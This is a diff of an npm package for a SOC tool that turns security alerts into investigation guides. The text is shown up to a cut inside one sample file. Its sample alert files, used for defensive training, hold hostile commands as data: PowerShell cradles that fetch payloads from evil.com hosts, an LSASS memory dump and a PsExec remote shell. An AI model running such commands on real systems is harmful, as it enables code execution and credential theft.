alert2action 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +203 -0
- package/alert2action.cmd +2 -0
- package/bin/alert2action.js +77 -0
- package/examples/brute-force-alert.json +33 -0
- package/examples/credential-dump-alert.json +32 -0
- package/examples/lateral-movement-alert.json +29 -0
- package/examples/malware-alert-2.json +30 -0
- package/examples/malware-alert.json +35 -0
- package/examples/phishing-alert.json +28 -0
- package/examples/privesc-alert.json +112 -0
- package/examples/soc-test-alert.json +80 -0
- package/package.json +48 -0
- package/src/formatter.js +267 -0
- package/src/guide-generator.js +478 -0
- package/src/index.js +28 -0
- package/src/mitre.js +837 -0
- package/src/parser.js +309 -0
package/README.md
ADDED
|
@@ -0,0 +1,203 @@
|
|
|
1
|
+
# alert2action
|
|
2
|
+
|
|
3
|
+
> **SOC Alert → Investigation Guide CLI**
|
|
4
|
+
|
|
5
|
+
Transform security alerts into actionable investigation guides with MITRE ATT&CK mapping, investigation commands, and containment playbooks.
|
|
6
|
+
|
|
7
|
+
  
|
|
8
|
+
|
|
9
|
+
## 🎯 What It Does
|
|
10
|
+
|
|
11
|
+
```bash
|
|
12
|
+
alert2action alert.json
|
|
13
|
+
```
|
|
14
|
+
|
|
15
|
+
**Input:** A security alert JSON file (from any SIEM, EDR, or security tool)
|
|
16
|
+
|
|
17
|
+
**Output:** A comprehensive investigation guide with:
|
|
18
|
+
- 📖 **What Happened** - Plain-English summary
|
|
19
|
+
- 🎯 **MITRE ATT&CK Mapping** - Matched techniques with confidence scores
|
|
20
|
+
- 📁 **Logs to Check** - Relevant log sources for investigation
|
|
21
|
+
- ⚡ **Commands to Run** - PowerShell & Linux commands for analysis
|
|
22
|
+
- 🛡️ **Containment Steps** - Prioritized response actions
|
|
23
|
+
- 🤔 **False Positive Hints** - Common benign causes to rule out
|
|
24
|
+
|
|
25
|
+
## 💡 Why This Is GOLD
|
|
26
|
+
|
|
27
|
+
- ✅ **Helps SOC freshers** - Learn investigation workflow
|
|
28
|
+
- ✅ **Saves senior analyst time** - Skip the basics, focus on threats
|
|
29
|
+
- ✅ **No strong open-source competitor** - Fills a real gap
|
|
30
|
+
- ✅ **Works with any SIEM** - Normalizes different alert formats
|
|
31
|
+
- ✅ **Offline capable** - No API keys needed
|
|
32
|
+
|
|
33
|
+
## 🚀 Quick Start
|
|
34
|
+
|
|
35
|
+
### Installation via npm (Recommended)
|
|
36
|
+
|
|
37
|
+
```bash
|
|
38
|
+
npm install -g alert2action
|
|
39
|
+
```
|
|
40
|
+
|
|
41
|
+
### Or Clone from GitHub
|
|
42
|
+
|
|
43
|
+
```bash
|
|
44
|
+
git clone https://github.com/notsointresting/alert2action.git
|
|
45
|
+
cd alert2action
|
|
46
|
+
npm install
|
|
47
|
+
npm link # Makes it globally available
|
|
48
|
+
```
|
|
49
|
+
|
|
50
|
+
### Run on an Example Alert
|
|
51
|
+
|
|
52
|
+
```bash
|
|
53
|
+
alert2action examples/brute-force-alert.json
|
|
54
|
+
# or
|
|
55
|
+
node bin/alert2action.js examples/brute-force-alert.json
|
|
56
|
+
```
|
|
57
|
+
|
|
58
|
+
## 📋 Usage
|
|
59
|
+
|
|
60
|
+
### Basic Usage
|
|
61
|
+
|
|
62
|
+
```bash
|
|
63
|
+
alert2action <alert-file.json>
|
|
64
|
+
```
|
|
65
|
+
|
|
66
|
+
### Options
|
|
67
|
+
|
|
68
|
+
```bash
|
|
69
|
+
alert2action alert.json # Colored CLI output
|
|
70
|
+
alert2action alert.json -o json # JSON format
|
|
71
|
+
alert2action alert.json -o markdown # Markdown for tickets
|
|
72
|
+
alert2action alert.json -v # Verbose mode
|
|
73
|
+
alert2action --help # Show help
|
|
74
|
+
```
|
|
75
|
+
|
|
76
|
+
### Output Formats
|
|
77
|
+
|
|
78
|
+
- **text** (default) - Colorized CLI output for terminal
|
|
79
|
+
- **json** - Raw JSON for integration with other tools
|
|
80
|
+
- **markdown** - Perfect for pasting into tickets/docs
|
|
81
|
+
|
|
82
|
+
## 📁 Supported Alert Formats
|
|
83
|
+
|
|
84
|
+
alert2action automatically normalizes alerts from various sources:
|
|
85
|
+
|
|
86
|
+
- **Generic JSON** - Any custom format
|
|
87
|
+
- **Splunk** - Splunk alert output
|
|
88
|
+
- **Microsoft Sentinel** - Azure Sentinel incidents
|
|
89
|
+
- **Elastic SIEM** - Elasticsearch alerts
|
|
90
|
+
- **CrowdStrike Falcon** - Falcon detection events
|
|
91
|
+
- **Microsoft Defender** - MDE/MDI alerts
|
|
92
|
+
- **Custom SIEM** - Maps common field names automatically
|
|
93
|
+
|
|
94
|
+
### Example Alert Structure
|
|
95
|
+
|
|
96
|
+
```json
|
|
97
|
+
{
|
|
98
|
+
"title": "Multiple Failed Login Attempts",
|
|
99
|
+
"severity": "high",
|
|
100
|
+
"timestamp": "2024-01-18T10:30:00Z",
|
|
101
|
+
"source_ip": "185.220.101.45",
|
|
102
|
+
"hostname": "DC01.corp.local",
|
|
103
|
+
"username": "administrator",
|
|
104
|
+
"description": "Over 50 failed login attempts detected"
|
|
105
|
+
}
|
|
106
|
+
```
|
|
107
|
+
|
|
108
|
+
## 🎯 MITRE ATT&CK Coverage
|
|
109
|
+
|
|
110
|
+
Currently maps to **21 techniques** across all major tactics:
|
|
111
|
+
|
|
112
|
+
| Tactic | Techniques |
|
|
113
|
+
|--------|------------|
|
|
114
|
+
| Reconnaissance | T1595 (Active Scanning) |
|
|
115
|
+
| Initial Access | T1566 (Phishing), T1190 (Exploit), T1078 (Valid Accounts) |
|
|
116
|
+
| Execution | T1059 (Command/Script), T1059.001 (PowerShell) |
|
|
117
|
+
| Persistence | T1053 (Scheduled Task), T1547 (Boot Autostart) |
|
|
118
|
+
| Privilege Escalation | T1548.002 (UAC Bypass), T1134 (Token Manipulation) |
|
|
119
|
+
| Defense Evasion | T1055 (Process Injection), T1070 (Indicator Removal) |
|
|
120
|
+
| Credential Access | T1003 (Credential Dumping), T1110 (Brute Force) |
|
|
121
|
+
| Discovery | T1087 (Account Discovery) |
|
|
122
|
+
| Lateral Movement | T1021 (Remote Services) |
|
|
123
|
+
| Command & Control | T1071 (Application Protocol) |
|
|
124
|
+
| Exfiltration | T1041 (Exfil Over C2) |
|
|
125
|
+
| Impact | T1486 (Ransomware) |
|
|
126
|
+
|
|
127
|
+
## 📂 Example Alerts Included
|
|
128
|
+
|
|
129
|
+
Try these sample alerts in the `examples/` folder:
|
|
130
|
+
|
|
131
|
+
```bash
|
|
132
|
+
# Brute force attack
|
|
133
|
+
node bin/alert2action.js examples/brute-force-alert.json
|
|
134
|
+
|
|
135
|
+
# Malware execution (PowerShell download cradle)
|
|
136
|
+
node bin/alert2action.js examples/malware-alert.json
|
|
137
|
+
|
|
138
|
+
# Phishing email
|
|
139
|
+
node bin/alert2action.js examples/phishing-alert.json
|
|
140
|
+
|
|
141
|
+
# Credential dumping (LSASS access)
|
|
142
|
+
node bin/alert2action.js examples/credential-dump-alert.json
|
|
143
|
+
|
|
144
|
+
# Lateral movement (PsExec)
|
|
145
|
+
node bin/alert2action.js examples/lateral-movement-alert.json
|
|
146
|
+
|
|
147
|
+
# Privilege escalation (UAC Bypass)
|
|
148
|
+
node bin/alert2action.js examples/privesc-alert.json
|
|
149
|
+
|
|
150
|
+
# Multi-stage attack (Encoded PS + C2 + Persistence)
|
|
151
|
+
node bin/alert2action.js examples/soc-test-alert.json
|
|
152
|
+
```
|
|
153
|
+
|
|
154
|
+
## 🛠️ Programmatic Usage
|
|
155
|
+
|
|
156
|
+
Use alert2action as a library in your own scripts:
|
|
157
|
+
|
|
158
|
+
```javascript
|
|
159
|
+
const { analyze, parseAlert, generateGuide } = require('alert2action');
|
|
160
|
+
|
|
161
|
+
// Quick analysis
|
|
162
|
+
const alertJson = require('./my-alert.json');
|
|
163
|
+
console.log(analyze(alertJson));
|
|
164
|
+
|
|
165
|
+
// Or step by step
|
|
166
|
+
const parsed = parseAlert(alertJson);
|
|
167
|
+
const guide = generateGuide(parsed);
|
|
168
|
+
console.log(guide);
|
|
169
|
+
```
|
|
170
|
+
|
|
171
|
+
## 🗺️ Roadmap
|
|
172
|
+
|
|
173
|
+
### Coming Soon
|
|
174
|
+
- [ ] **More MITRE techniques** - Expand to 50+ techniques
|
|
175
|
+
- [ ] **Threat intelligence integration** - VirusTotal, AbuseIPDB, OTX lookups
|
|
176
|
+
- [ ] **Export to TheHive** - Create cases directly from alerts
|
|
177
|
+
- [ ] **Splunk-specific mapping** - Native Splunk field support
|
|
178
|
+
- [ ] **Interactive mode** - Guided Q&A investigation workflow
|
|
179
|
+
- [ ] **Custom playbook templates** - YAML-based playbook definitions
|
|
180
|
+
|
|
181
|
+
### Future Ideas
|
|
182
|
+
- [ ] Sigma rule suggestions
|
|
183
|
+
- [ ] YARA rule generation
|
|
184
|
+
- [ ] Timeline visualization
|
|
185
|
+
- [ ] Multi-alert correlation
|
|
186
|
+
- [ ] Webhook integrations (Slack, Teams, Discord)
|
|
187
|
+
|
|
188
|
+
## 🤝 Contributing
|
|
189
|
+
|
|
190
|
+
Contributions welcome! Areas that need help:
|
|
191
|
+
|
|
192
|
+
1. **More MITRE techniques** - Add coverage for more attack patterns
|
|
193
|
+
2. **SIEM-specific parsers** - Better support for specific products
|
|
194
|
+
3. **Investigation commands** - More forensic one-liners
|
|
195
|
+
4. **False positive knowledge** - Common FP patterns
|
|
196
|
+
|
|
197
|
+
## 📄 License
|
|
198
|
+
|
|
199
|
+
MIT License - Use freely in your SOC!
|
|
200
|
+
|
|
201
|
+
---
|
|
202
|
+
|
|
203
|
+
Built with ❤️ for SOC analysts everywhere
|
package/alert2action.cmd
ADDED
|
@@ -0,0 +1,77 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
|
|
3
|
+
/**
|
|
4
|
+
* alert2action CLI
|
|
5
|
+
* SOC Alert to Investigation Guide Generator
|
|
6
|
+
*
|
|
7
|
+
* Usage: alert2action <alert.json>
|
|
8
|
+
*/
|
|
9
|
+
|
|
10
|
+
const { program } = require('commander');
|
|
11
|
+
const chalk = require('chalk');
|
|
12
|
+
const fs = require('fs');
|
|
13
|
+
const path = require('path');
|
|
14
|
+
|
|
15
|
+
const { parseAlert } = require('../src/parser');
|
|
16
|
+
const { generateGuide } = require('../src/guide-generator');
|
|
17
|
+
const { formatOutput } = require('../src/formatter');
|
|
18
|
+
|
|
19
|
+
// ASCII Banner
|
|
20
|
+
const banner = `
|
|
21
|
+
${chalk.cyan('╔═══════════════════════════════════════════════════════════════╗')}
|
|
22
|
+
${chalk.cyan('║')} ${chalk.bold.yellow('⚡ ALERT')}${chalk.bold.red('2')}${chalk.bold.green('ACTION')} ${chalk.gray('- SOC Investigation Guide Generator')} ${chalk.cyan('║')}
|
|
23
|
+
${chalk.cyan('╚═══════════════════════════════════════════════════════════════╝')}
|
|
24
|
+
`;
|
|
25
|
+
|
|
26
|
+
program
|
|
27
|
+
.name('alert2action')
|
|
28
|
+
.description('Transform SOC alerts into actionable investigation guides')
|
|
29
|
+
.version('1.0.0')
|
|
30
|
+
.argument('<alert-file>', 'Path to the alert JSON file')
|
|
31
|
+
.option('-o, --output <format>', 'Output format: text, json, markdown', 'text')
|
|
32
|
+
.option('-v, --verbose', 'Show detailed analysis')
|
|
33
|
+
.option('--no-color', 'Disable colored output')
|
|
34
|
+
.action((alertFile, options) => {
|
|
35
|
+
try {
|
|
36
|
+
// Show banner
|
|
37
|
+
if (options.color !== false) {
|
|
38
|
+
console.log(banner);
|
|
39
|
+
}
|
|
40
|
+
|
|
41
|
+
// Validate file exists
|
|
42
|
+
const filePath = path.resolve(alertFile);
|
|
43
|
+
if (!fs.existsSync(filePath)) {
|
|
44
|
+
console.error(chalk.red(`\n❌ Error: File not found: ${alertFile}`));
|
|
45
|
+
process.exit(1);
|
|
46
|
+
}
|
|
47
|
+
|
|
48
|
+
// Read and parse alert
|
|
49
|
+
const alertData = fs.readFileSync(filePath, 'utf8');
|
|
50
|
+
let alert;
|
|
51
|
+
try {
|
|
52
|
+
alert = JSON.parse(alertData);
|
|
53
|
+
} catch (e) {
|
|
54
|
+
console.error(chalk.red(`\n❌ Error: Invalid JSON in ${alertFile}`));
|
|
55
|
+
process.exit(1);
|
|
56
|
+
}
|
|
57
|
+
|
|
58
|
+
// Parse and normalize alert
|
|
59
|
+
const parsedAlert = parseAlert(alert);
|
|
60
|
+
|
|
61
|
+
// Generate investigation guide
|
|
62
|
+
const guide = generateGuide(parsedAlert);
|
|
63
|
+
|
|
64
|
+
// Format and output
|
|
65
|
+
const output = formatOutput(guide, options);
|
|
66
|
+
console.log(output);
|
|
67
|
+
|
|
68
|
+
} catch (error) {
|
|
69
|
+
console.error(chalk.red(`\n❌ Error: ${error.message}`));
|
|
70
|
+
if (options.verbose) {
|
|
71
|
+
console.error(error.stack);
|
|
72
|
+
}
|
|
73
|
+
process.exit(1);
|
|
74
|
+
}
|
|
75
|
+
});
|
|
76
|
+
|
|
77
|
+
program.parse();
|
|
@@ -0,0 +1,33 @@
|
|
|
1
|
+
{
|
|
2
|
+
"id": "ALERT-2024-0127",
|
|
3
|
+
"title": "Multiple Failed Login Attempts Detected",
|
|
4
|
+
"description": "Over 50 failed authentication attempts detected from a single source IP within 5 minutes, indicating potential brute force attack",
|
|
5
|
+
"severity": "high",
|
|
6
|
+
"timestamp": "2024-01-18T10:30:00Z",
|
|
7
|
+
"source": "Windows Security",
|
|
8
|
+
"category": "Credential Access",
|
|
9
|
+
"source_ip": "185.220.101.45",
|
|
10
|
+
"dest_ip": "10.0.0.50",
|
|
11
|
+
"dest_port": 3389,
|
|
12
|
+
"protocol": "RDP",
|
|
13
|
+
"hostname": "DC01.corp.local",
|
|
14
|
+
"username": "administrator",
|
|
15
|
+
"domain": "CORP",
|
|
16
|
+
"event_type": "Authentication Failure",
|
|
17
|
+
"action": "blocked",
|
|
18
|
+
"status": "ongoing",
|
|
19
|
+
"data": {
|
|
20
|
+
"failed_attempts": 57,
|
|
21
|
+
"time_window_minutes": 5,
|
|
22
|
+
"targeted_accounts": [
|
|
23
|
+
"administrator",
|
|
24
|
+
"admin",
|
|
25
|
+
"svc_backup",
|
|
26
|
+
"sql_admin"
|
|
27
|
+
],
|
|
28
|
+
"event_ids": [
|
|
29
|
+
4625,
|
|
30
|
+
4771
|
|
31
|
+
]
|
|
32
|
+
}
|
|
33
|
+
}
|
|
@@ -0,0 +1,32 @@
|
|
|
1
|
+
{
|
|
2
|
+
"id": "ALERT-2024-0130",
|
|
3
|
+
"title": "LSASS Memory Access Detected - Potential Credential Dumping",
|
|
4
|
+
"description": "Process attempted to access LSASS memory, behavior consistent with credential harvesting tools like Mimikatz",
|
|
5
|
+
"severity": "critical",
|
|
6
|
+
"timestamp": "2024-01-18T16:45:22Z",
|
|
7
|
+
"source": "CrowdStrike Falcon",
|
|
8
|
+
"category": "Credential Access",
|
|
9
|
+
"hostname": "FINANCE-WS05",
|
|
10
|
+
"username": "SYSTEM",
|
|
11
|
+
"domain": "CORP",
|
|
12
|
+
"process_name": "procdump64.exe",
|
|
13
|
+
"process_path": "C:\\Users\\admin\\Downloads\\procdump64.exe",
|
|
14
|
+
"process_command_line": "procdump64.exe -accepteula -ma lsass.exe lsass.dmp",
|
|
15
|
+
"parent_process": "cmd.exe",
|
|
16
|
+
"process_id": 7234,
|
|
17
|
+
"source_ip": "10.0.2.105",
|
|
18
|
+
"data": {
|
|
19
|
+
"target_process": "lsass.exe",
|
|
20
|
+
"target_pid": 612,
|
|
21
|
+
"access_mask": "0x1FFFFF",
|
|
22
|
+
"technique_indicators": [
|
|
23
|
+
"credential_dumping",
|
|
24
|
+
"lsass_access",
|
|
25
|
+
"memory_dump"
|
|
26
|
+
],
|
|
27
|
+
"tool_signature": "SysInternals ProcDump"
|
|
28
|
+
},
|
|
29
|
+
"event_type": "Process Access",
|
|
30
|
+
"action": "detected",
|
|
31
|
+
"status": "active"
|
|
32
|
+
}
|
|
@@ -0,0 +1,29 @@
|
|
|
1
|
+
{
|
|
2
|
+
"id": "ALERT-2024-0131",
|
|
3
|
+
"title": "Suspicious Lateral Movement via PsExec Detected",
|
|
4
|
+
"description": "Remote execution attempt using PsExec from workstation to domain controller detected",
|
|
5
|
+
"severity": "high",
|
|
6
|
+
"timestamp": "2024-01-18T11:08:45Z",
|
|
7
|
+
"source": "Microsoft Defender for Identity",
|
|
8
|
+
"category": "Lateral Movement",
|
|
9
|
+
"source_ip": "10.0.1.155",
|
|
10
|
+
"dest_ip": "10.0.0.10",
|
|
11
|
+
"dest_port": 445,
|
|
12
|
+
"protocol": "SMB",
|
|
13
|
+
"hostname": "WORKSTATION-089",
|
|
14
|
+
"username": "admin.jones",
|
|
15
|
+
"domain": "CORP",
|
|
16
|
+
"process_name": "PSEXESVC.exe",
|
|
17
|
+
"process_path": "\\\\DC01\\ADMIN$\\PSEXESVC.exe",
|
|
18
|
+
"process_command_line": "psexec.exe \\\\DC01 -s cmd.exe",
|
|
19
|
+
"data": {
|
|
20
|
+
"source_machine": "WORKSTATION-089",
|
|
21
|
+
"target_machine": "DC01",
|
|
22
|
+
"service_created": "PSEXESVC",
|
|
23
|
+
"authentication_type": "NTLM",
|
|
24
|
+
"lateral_movement_type": "PsExec"
|
|
25
|
+
},
|
|
26
|
+
"event_type": "Remote Execution",
|
|
27
|
+
"action": "detected",
|
|
28
|
+
"status": "active"
|
|
29
|
+
}
|
|
@@ -0,0 +1,30 @@
|
|
|
1
|
+
{
|
|
2
|
+
"id": "ALERT-2024-0140",
|
|
3
|
+
"title": "Suspicious Scheduled Task Created with Encoded PowerShell",
|
|
4
|
+
"description": "A new scheduled task was created that executes an obfuscated PowerShell command, potentially establishing persistence",
|
|
5
|
+
"severity": "high",
|
|
6
|
+
"timestamp": "2024-01-18T08:15:33Z",
|
|
7
|
+
"source": "Microsoft Defender for Endpoint",
|
|
8
|
+
"category": "Persistence",
|
|
9
|
+
"hostname": "HR-LAPTOP-023",
|
|
10
|
+
"username": "jdoe",
|
|
11
|
+
"domain": "CORP",
|
|
12
|
+
"process_name": "schtasks.exe",
|
|
13
|
+
"process_path": "C:\\Windows\\System32\\schtasks.exe",
|
|
14
|
+
"process_command_line": "schtasks /create /tn \"WindowsUpdate\" /tr \"powershell.exe -WindowStyle Hidden -EncodedCommand JABjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgTgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACQAYwAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwADoALwAvAGMAMgAuAGUAdgBpAGwALgBjAG8AbQAvAGIAZQBhAGMAbwBuAC4AZQB4AGUAJwAsACcAQwA6AFwAVQBzAGUAcgBzAFwAagBkAG8AZQBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAdQBwAGQAYQB0AGUALgBlAHgAZQAnACkA\" /sc onlogon /ru SYSTEM",
|
|
15
|
+
"parent_process": "cmd.exe",
|
|
16
|
+
"process_id": 8844,
|
|
17
|
+
"source_ip": "10.0.5.23",
|
|
18
|
+
"dest_ip": "45.33.32.156",
|
|
19
|
+
"dest_port": 80,
|
|
20
|
+
"data": {
|
|
21
|
+
"task_name": "WindowsUpdate",
|
|
22
|
+
"task_trigger": "OnLogon",
|
|
23
|
+
"run_as": "SYSTEM",
|
|
24
|
+
"decoded_command": "$c=New-Object Net.WebClient;$c.DownloadFile('http://c2.evil.com/beacon.exe','C:\\Users\\jdoe\\AppData\\Local\\Temp\\update.exe')",
|
|
25
|
+
"external_connection": true
|
|
26
|
+
},
|
|
27
|
+
"event_type": "Scheduled Task Creation",
|
|
28
|
+
"action": "detected",
|
|
29
|
+
"status": "active"
|
|
30
|
+
}
|
|
@@ -0,0 +1,35 @@
|
|
|
1
|
+
{
|
|
2
|
+
"id": "ALERT-2024-0128",
|
|
3
|
+
"title": "Suspicious PowerShell Execution with Encoded Command",
|
|
4
|
+
"description": "PowerShell executed with Base64 encoded command attempting to download and execute content from external URL",
|
|
5
|
+
"severity": "critical",
|
|
6
|
+
"timestamp": "2024-01-18T14:22:15Z",
|
|
7
|
+
"source": "Microsoft Defender for Endpoint",
|
|
8
|
+
"category": "Execution",
|
|
9
|
+
"hostname": "WORKSTATION-042",
|
|
10
|
+
"username": "jsmith",
|
|
11
|
+
"domain": "CORP",
|
|
12
|
+
"process_name": "powershell.exe",
|
|
13
|
+
"process_path": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
|
|
14
|
+
"process_command_line": "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvAG0AYQBsAHcAYQByAGUALgBlAHYAaQBsAC4AYwBvAG0ALwBwAGEAeQBsAG8AYQBkAC4AcABzADEAJwApAA==",
|
|
15
|
+
"parent_process": "WINWORD.EXE",
|
|
16
|
+
"process_id": 4892,
|
|
17
|
+
"source_ip": "10.0.1.42",
|
|
18
|
+
"dest_ip": "23.94.123.87",
|
|
19
|
+
"dest_port": 443,
|
|
20
|
+
"file_hash": "a1b2c3d4e5f6789012345678901234567890abcd",
|
|
21
|
+
"data": {
|
|
22
|
+
"decoded_command": "IEX(New-Object Net.WebClient).DownloadString('http://malware.evil.com/payload.ps1')",
|
|
23
|
+
"parent_command_line": "\"C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.EXE\" /n \"C:\\Users\\jsmith\\Downloads\\Invoice_12345.docm\"",
|
|
24
|
+
"network_connections": [
|
|
25
|
+
{
|
|
26
|
+
"dest": "malware.evil.com",
|
|
27
|
+
"port": 80
|
|
28
|
+
},
|
|
29
|
+
{
|
|
30
|
+
"dest": "23.94.123.87",
|
|
31
|
+
"port": 443
|
|
32
|
+
}
|
|
33
|
+
]
|
|
34
|
+
}
|
|
35
|
+
}
|
|
@@ -0,0 +1,28 @@
|
|
|
1
|
+
{
|
|
2
|
+
"id": "ALERT-2024-0129",
|
|
3
|
+
"title": "Phishing Email with Malicious Attachment Detected",
|
|
4
|
+
"description": "Email containing suspicious Office document with macro detected and quarantined",
|
|
5
|
+
"severity": "medium",
|
|
6
|
+
"timestamp": "2024-01-18T09:15:30Z",
|
|
7
|
+
"source": "Microsoft Defender for Office 365",
|
|
8
|
+
"category": "Initial Access",
|
|
9
|
+
"hostname": "MAIL-GW01",
|
|
10
|
+
"username": "mwilliams@company.com",
|
|
11
|
+
"data": {
|
|
12
|
+
"sender_email": "invoice@secure-payment-portal.com",
|
|
13
|
+
"sender_ip": "192.168.45.23",
|
|
14
|
+
"recipient": "mwilliams@company.com",
|
|
15
|
+
"subject": "URGENT: Invoice #INV-2024-8872 - Payment Required",
|
|
16
|
+
"attachment_name": "Invoice_Details_2024.xlsm",
|
|
17
|
+
"attachment_hash": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855",
|
|
18
|
+
"has_macro": true,
|
|
19
|
+
"links_in_body": [
|
|
20
|
+
"http://malicious-link.com/track/12345"
|
|
21
|
+
],
|
|
22
|
+
"verdict": "Phishing",
|
|
23
|
+
"action_taken": "Quarantined"
|
|
24
|
+
},
|
|
25
|
+
"event_type": "Email Threat",
|
|
26
|
+
"action": "quarantined",
|
|
27
|
+
"status": "contained"
|
|
28
|
+
}
|
|
@@ -0,0 +1,112 @@
|
|
|
1
|
+
{
|
|
2
|
+
"event_version": "2.1",
|
|
3
|
+
"event_id": "privesc-3c91a8f2-4e67-4b2f-bb8a-91aef3d27b11",
|
|
4
|
+
"event_type": "privilege_escalation",
|
|
5
|
+
"event_severity": "critical",
|
|
6
|
+
"event_status": "active",
|
|
7
|
+
"event_time": "2026-01-18T09:41:12.556Z",
|
|
8
|
+
"ingested_time": "2026-01-18T09:41:14.102Z",
|
|
9
|
+
"host": {
|
|
10
|
+
"hostname": "FINANCE-LAPTOP-014",
|
|
11
|
+
"host_id": "e92b1c14-12a3-4d8b-9f81-7c88a1b27b45",
|
|
12
|
+
"ip_address": "10.0.8.47",
|
|
13
|
+
"os": {
|
|
14
|
+
"name": "Windows 11 Enterprise",
|
|
15
|
+
"version": "23H2",
|
|
16
|
+
"build": "22631.3085"
|
|
17
|
+
}
|
|
18
|
+
},
|
|
19
|
+
"user": {
|
|
20
|
+
"original_user": "jdoe",
|
|
21
|
+
"original_privilege": "standard_user",
|
|
22
|
+
"escalated_user": "NT AUTHORITY\\SYSTEM",
|
|
23
|
+
"logon_type": "service",
|
|
24
|
+
"session_id": "0x3e7"
|
|
25
|
+
},
|
|
26
|
+
"process": {
|
|
27
|
+
"process_name": "cmd.exe",
|
|
28
|
+
"process_id": 5236,
|
|
29
|
+
"parent_process": "winlogon.exe",
|
|
30
|
+
"parent_process_id": 732,
|
|
31
|
+
"command_line": "cmd.exe /c whoami",
|
|
32
|
+
"integrity_level": "System",
|
|
33
|
+
"token_elevation": true
|
|
34
|
+
},
|
|
35
|
+
"privilege_change": {
|
|
36
|
+
"method": "UAC Bypass",
|
|
37
|
+
"technique_details": "Abuse of auto-elevated COM interface",
|
|
38
|
+
"success": true,
|
|
39
|
+
"previous_integrity_level": "Medium",
|
|
40
|
+
"new_integrity_level": "System"
|
|
41
|
+
},
|
|
42
|
+
"exploitation": {
|
|
43
|
+
"vector": "Local",
|
|
44
|
+
"exploit_name": "SilentCleanup UAC Bypass",
|
|
45
|
+
"cve": null,
|
|
46
|
+
"exploited_component": "Task Scheduler / COM Interface"
|
|
47
|
+
},
|
|
48
|
+
"file_activity": {
|
|
49
|
+
"suspicious_binary": "payload.exe",
|
|
50
|
+
"file_path": "C:\\Users\\jdoe\\AppData\\Local\\Temp\\payload.exe",
|
|
51
|
+
"hashes": {
|
|
52
|
+
"md5": "9e107d9d372bb6826bd81d3542a419d6",
|
|
53
|
+
"sha256": "6a2da5b9a21dfd7c83e28efc6c6fd4d4a7c3fdafad7c5f3f4c87bb1ad9d4f223"
|
|
54
|
+
}
|
|
55
|
+
},
|
|
56
|
+
"persistence": {
|
|
57
|
+
"mechanism": "Service Creation",
|
|
58
|
+
"service_name": "WindowsUpdateHelper",
|
|
59
|
+
"service_binary": "C:\\ProgramData\\WindowsUpdateHelper\\wuhelper.exe",
|
|
60
|
+
"start_type": "auto"
|
|
61
|
+
},
|
|
62
|
+
"mitre_attack": {
|
|
63
|
+
"tactic": "Privilege Escalation",
|
|
64
|
+
"techniques": [
|
|
65
|
+
{
|
|
66
|
+
"id": "T1548.002",
|
|
67
|
+
"name": "Bypass User Account Control"
|
|
68
|
+
},
|
|
69
|
+
{
|
|
70
|
+
"id": "T1134",
|
|
71
|
+
"name": "Access Token Manipulation"
|
|
72
|
+
},
|
|
73
|
+
{
|
|
74
|
+
"id": "T1059.003",
|
|
75
|
+
"name": "Windows Command Shell"
|
|
76
|
+
}
|
|
77
|
+
]
|
|
78
|
+
},
|
|
79
|
+
"detection": {
|
|
80
|
+
"source": "EDR",
|
|
81
|
+
"rule_name": "Suspicious SYSTEM-Level Process Spawn",
|
|
82
|
+
"confidence": 0.94,
|
|
83
|
+
"indicators": [
|
|
84
|
+
"standard_user_to_SYSTEM",
|
|
85
|
+
"unexpected_SYSTEM_shell",
|
|
86
|
+
"auto_elevated_process"
|
|
87
|
+
]
|
|
88
|
+
},
|
|
89
|
+
"response": {
|
|
90
|
+
"actions_taken": [
|
|
91
|
+
"process_terminated",
|
|
92
|
+
"service_disabled",
|
|
93
|
+
"file_quarantined",
|
|
94
|
+
"host_isolated"
|
|
95
|
+
],
|
|
96
|
+
"isolation_status": "enabled",
|
|
97
|
+
"analyst_notified": true
|
|
98
|
+
},
|
|
99
|
+
"analyst_notes": {
|
|
100
|
+
"assigned_to": "soc_analyst_l2",
|
|
101
|
+
"summary": "Privilege escalation achieved via UAC bypass. SYSTEM shell spawned from standard user context. Persistence established through rogue service."
|
|
102
|
+
},
|
|
103
|
+
"ioc": {
|
|
104
|
+
"host": "FINANCE-LAPTOP-014",
|
|
105
|
+
"user": "jdoe",
|
|
106
|
+
"process": "payload.exe",
|
|
107
|
+
"service": "WindowsUpdateHelper",
|
|
108
|
+
"hashes": [
|
|
109
|
+
"6a2da5b9a21dfd7c83e28efc6c6fd4d4a7c3fdafad7c5f3f4c87bb1ad9d4f223"
|
|
110
|
+
]
|
|
111
|
+
}
|
|
112
|
+
}
|
|
@@ -0,0 +1,80 @@
|
|
|
1
|
+
{
|
|
2
|
+
"event_id": "test-001",
|
|
3
|
+
"event_type": "security_alert",
|
|
4
|
+
"severity": "high",
|
|
5
|
+
"status": "active",
|
|
6
|
+
"timestamp": "2026-01-18T12:30:45Z",
|
|
7
|
+
"host": {
|
|
8
|
+
"hostname": "TEST-ENDPOINT-01",
|
|
9
|
+
"ip": "10.0.10.15",
|
|
10
|
+
"os": "Windows 10"
|
|
11
|
+
},
|
|
12
|
+
"user": {
|
|
13
|
+
"username": "testuser",
|
|
14
|
+
"role": "standard_user"
|
|
15
|
+
},
|
|
16
|
+
"process": {
|
|
17
|
+
"name": "powershell.exe",
|
|
18
|
+
"parent": "cmd.exe",
|
|
19
|
+
